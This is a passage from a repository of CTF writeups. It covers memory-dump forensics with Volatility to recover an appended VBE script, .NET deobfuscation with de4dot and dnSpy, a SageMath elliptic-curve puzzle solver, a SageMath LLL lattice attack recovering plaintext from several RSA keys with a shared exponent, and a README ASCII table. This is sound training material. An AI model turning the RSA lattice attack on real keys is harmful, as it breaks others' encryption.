2. dump file: `python ~/ctf/tools/volatility/vol.py -f becarful --profile=WinXPSP2x86 dumpfiles -D flag/ -Q 0x000000000225d800` 63 | 3. unzip the file get a png file with vbe file appended at the end.(know that file is vbe through cmdscan and google). 64 | 4. decrypt it by `https://master.ayra.ch/vbs/vbs.aspx` 65 | 5. get decrypted vbs and run it on windows `get flag` or open vbs you will see the flag. 66 | 67 | ## re1 68 | 69 | de4dot deobfuscator the binary and use dnSpy tools to recompile the source to pop the flag out. -------------------------------------------------------------------------------- /2021/虎符/cubic_solve.sage: -------------------------------------------------------------------------------- 1 | n = 6 2 | R. = QQ[] 3 | cubic = a*(a+b)*(a+c)+b*(a+b)*(b+c)+c*(b+c)*(c+a) - n*(a+b)*(a+c)*(b+c) 4 | O = [1,-1,0] 5 | E = EllipticCurve_from_cubic(cubic,O,morphism = False) 6 | f = EllipticCurve_from_cubic(cubic,O,morphism = True) 7 | finv = f.inverse() 8 | P = E.gens()[0] 9 | for k in range(1,100): 10 | Q = finv(k*P) 11 | if Q[0]>0 and Q[1]>0: 12 | a,b,c = Q[0],Q[1],Q[2] 13 | a_r, a_i = a.as_integer_ratio() 14 | b_r, b_i = b.as_integer_ratio() 15 | comm = lcm(a_i,b_i) 16 | a_out,b_out,c_out = a*comm,b*comm,comm 17 | assert a_out/(b_out+c_out) + b_out/(a_out+c_out) + c_out/(a_out+b_out) == n 18 | break -------------------------------------------------------------------------------- /2021/虎符/rsa_solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | import gmpy2 3 | 4 | nl = [92568419674731290088321621356482160506897805615722568594108449347104924357404183476911642777855820991398881156764068184840768873749718093598712551142529474514837161712525386555067489900887826033760157015587905876891826276883359425048106383489316555600680137377034136599761900203863336332834524981581608546277, 156396473818563541024482014372866929605198443382524196879362284224099117401220679011156723462510565131555949471059964179767945960498473012008220045105490122503438703770112687917922899337041421537937431868908340506324082719417747902320117904166584374628828367801012533926776313544525573302674702867896838756349, 158394833243620345170313957479796081390446308753163267294427471181012679879060921676287361174926310080500003540773261012005682050743188110335872216992843352902160171999286576526304619756655278142788064189969927027027650043645613441449926633380809295720977302961310978360575684689811662689798196832145977450067, 160088237013152996062303719345275590040820298863729670660621544625451638541931139026114480452748397901155923890465415946150076272684251867169893163248736673419035618274961179288085209456220719404244194802327491684233804878013160262798831738441790443743813368173495029170393018727204042599457829167334217403039, 176125361422384852665447804150030174008849487020728296169340093618559367127086381778331613043595010796295772394708222184703701230685609172767761426620379001062695169120599393984950488304290958534830276649464003949555105491117656796777657620812669612752464591728873199832200616338112460100967288829163217253937] 5 | el = [69312028009355287369151190914681978515224902099126626288106202481561083869512381976466800912049172557479956400189281179789850182367192324370292880508005951892909864237831856642160554901550928757105750738313195248541515727624216048436593804176317465366380022764459799506858495981817822670957526705611211712923, 75652848678989239962391202584125835503829570694373189157636155436633908234362973839251550542975725789188895010096917574118924190081886365041870173203566890015476761857546914959928731140619341634983144909962106759048918025248827973161384045263311189477657141886093632791593341193393085433749877270828641736687, 33787880341418355427411601538315129862488529656310145182009801227014512555036822623215545927750632031483856865027938518144081751233475248361490189179988637342429805607352670543555743822390555949569061340741015073482051059972283793490798701339277926430357560613555427570475360496737455291914090967005368044847, 45894271603047945281790624112313938740541711331584775481261776728213544262108835859642003140814571796838418889270625806159755478669858113687476417240730385707171289922064965084283027730393146219788228689778873266618663473231744646293406030907691363263939114550226424730102211751706087680590823466426973879111, 39462780066564051085365889083337472288277223628014907704844994419242541623368920096395581667207909872944692627394665038729398405841875334128211337544205143876652949004817962123951132753801707134333132359039376283331685997619531570270269964807335633423631078057345827010794671894948828680193958561375351954627] 6 | cl = [706565317398633346290694952311166623770389747503953970254889622211015097472765489676349936599997109100148837713409666075736711752497174928509516666210124850782396573268200919345005742905131769799719677758163730270857245509037860252700476102090438501579886321486095767737006847692632649652528793934802014895, 39976293505792731417500342473259466413746324373570160856607039564687056797068114044891309890160001547746290678089875953230720229396293686037539133378586045964793387433679304899158546834837314101138069400994334720071006048815998660691472991971598192116289517127819703723844842002711298154106615035755646791235, 82622936948791971063481195310587447614375265630407688161651173440160941964839173273115526802240672776681580169092371677673709037579318090622040018030730165371997331146171751228791524747622285256591779419274845659567001522182995468819720594650389854677582186770321424062935881407083956991646633760500152137305, 47924672523033740219454774309397006543851002473271747603676349322670782245519637286314088457132590816165876451615235937683074852920250584155682791595116359054889940842281324709426616771765312825842634237678243213350551342690870568516232078792788925700389762945955053433276153136302757700081859531596237286407, 157462720644970256050843434459828247139256140406409429896418317109064365936294939244159292550184482469972819258184119865598346921909220060266145241164734603316978286567811044606538176157224828857158099074286931716459626013079677895357212211176535500327064375073662684801175545519382470886239209020257096407424] 7 | 8 | B = Matrix(ZZ, [ [2^500, el[0], el[1], el[2],el[3], el[4]], 9 | [ 0, -nl[0], 0, 0, 0, 0], 10 | [ 0, 0,-nl[1], 0, 0, 0], 11 | [ 0, 0, 0,-nl[2], 0, 0], 12 | [ 0, 0, 0, 0,-nl[3], 0], 13 | [ 0, 0, 0, 0, 0, -nl[4]]]) 14 | 15 | L = B.LLL() 16 | print(long_to_bytes(L[0][0]//2^500)) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # writeup for some of the challenges 2 | ## ASCII Table 3 | ```plain 4 | Dec Char Dec Char Dec Char Dec Char 5 | --------- --------- --------- ---------- 6 | 0 NUL (null) 32 SPACE 64 @ 96 ` 7 | 1 SOH (start of heading) 33 ! 65 A 97 a 8 | 2 STX (start of text) 34 " 66 B 98 b 9 | 3 ETX (end of text) 35 # 67 C 99 c 10 | 4 EOT (end of transmission) 36 $ 68 D 100 d 11 | 5 ENQ (enquiry) 37 % 69 E 101 e 12 | 6 ACK (acknowledge) 38 & 70 F 102 f 13 | 7 BEL (bell) 39 ' 71 G 103 g 14 | 8 BS (backspace) 40 ( 72 H 104 h 15 | 9 TAB (horizontal tab) 41 ) 73 I 105 i 16 | 10 LF (NL line feed, new line) 42 * 74 J 106 j 17 | 11 VT (vertical tab) 43 + 75 K 107 k 18 | 12 FF (NP form feed, new page) 44 , 76 L 108 l 19 | 13 CR (carriage return) 45 - 77 M 109 m 20 | 14 SO (shift out) 46 . 78 N 110 n 21 | 15 SI (shift in) 47 / 79 O 111 o 22 | 16 DLE (data link escape) 48 0 80 P 112 p 23 | 17 DC1 (device control 1) 49 1 81 Q 113 q 24 | 18 DC2 (device control 2) 50 2 82 R 114 r 25 | 19 DC3 (device control 3) 51 3 83 S 115 s 26 | 20 DC4 (device control 4) 52 4 84 T 116 t 27 | 21 NAK (negative acknowledge) 53 5 85 U 117 u 28 | 22 SYN (synchronous idle) 54 6 86 V 118 v 29 | 23 ETB (end of trans. block) 55 7 87 W 119 w 30 | 24 CAN (cancel) 56 8 88 X 120 x 31 | 25 EM (end of medium) 57 9 89 Y 121 y 32 | 26 SUB (substitute) 58 : 90 Z 122 z 33 | 27 ESC (escape) 59 ; 91 [ 123 { 34 | 28 FS (file separator) 60 < 92 \ 124 | 35 | 29 GS (group separator) 61 = 93 ] 125 } 36 | 30 RS (record separator) 62 > 94 ^ 126 ~ 37 | 31 US (unit separator) 63 ? 95 _ 127 DEL 38 | ``` 39 | --------------------------------------------------------------------------------